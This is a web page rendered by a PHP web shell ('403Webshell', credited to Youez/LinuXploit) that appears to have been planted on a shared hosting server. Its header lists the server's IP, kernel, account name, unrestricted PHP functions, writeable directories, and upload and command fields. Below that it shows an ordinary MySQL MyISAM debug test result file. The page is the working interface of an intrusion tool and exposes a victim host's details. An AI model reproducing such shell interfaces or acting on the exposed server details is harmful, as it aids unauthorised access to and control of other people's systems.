403Webshell
Server IP : 49.212.180.16  /  Your IP : 18.119.213.42
Web Server : Apache
System : FreeBSD www2606.sakura.ne.jp 13.0-RELEASE-p14 FreeBSD 13.0-RELEASE-p14 #2: Mon Dec 9 13:54:55 JST 2024 root@www5301.sakura.ne.jp:/usr/obj/usr/src/amd64.amd64/sys/GENERIC amd64
User : utannto ( 1076)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/rs/mysql/5.1/mysql-test/r/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/rs/mysql/5.1/mysql-test/r/myisam_debug.result
#
# BUG#40827 - Killing insert-select to MyISAM can cause table corruption
#
CREATE TABLE `t1` (
`id` BIGINT(20) ,
`id1` BIGINT(20) AUTO_INCREMENT,
KEY(id1), KEY(id)
) ENGINE=MyISAM;
CREATE TABLE `t2` (
`id` BIGINT(20) ,
`id1` BIGINT(20) AUTO_INCREMENT,
KEY (id1), KEY(id)
) ENGINE=MyISAM;
INSERT INTO t2 (id) VALUES (123);
INSERT INTO t2 (id) SELECT id  FROM t2;
INSERT INTO t2 (id) SELECT id  FROM t2;
INSERT INTO t2 (id) SELECT id  FROM t2;
INSERT INTO t2 (id) SELECT id  FROM t2;
INSERT INTO t2 (id) SELECT id  FROM t2;
INSERT INTO t2 (id) SELECT id  FROM t2;
INSERT INTO t2 (id) SELECT id  FROM t2;
INSERT INTO t2 (id) SELECT id  FROM t2;
INSERT INTO t2 (id) SELECT id  FROM t2;
INSERT INTO t2 (id) SELECT id  FROM t2;
# Switch to insert Connection
SET SESSION debug='+d,wait_in_enable_indexes';
# Send insert data
INSERT INTO t1(id) SELECT id  FROM t2;
# Switch to default Connection
# Wait for insert data to reach the debug point
SELECT ID FROM INFORMATION_SCHEMA.PROCESSLIST
WHERE STATE = 'wait_in_enable_indexes' AND 
INFO = "INSERT INTO t1(id) SELECT id  FROM t2" 
INTO @thread_id;
KILL QUERY @thread_id;
CHECK TABLE t1;
Table	Op	Msg_type	Msg_text
test.t1	check	status	OK
DROP TABLE t1,t2;

Youez - 2016 - github.com/yon3zu
LinuXploit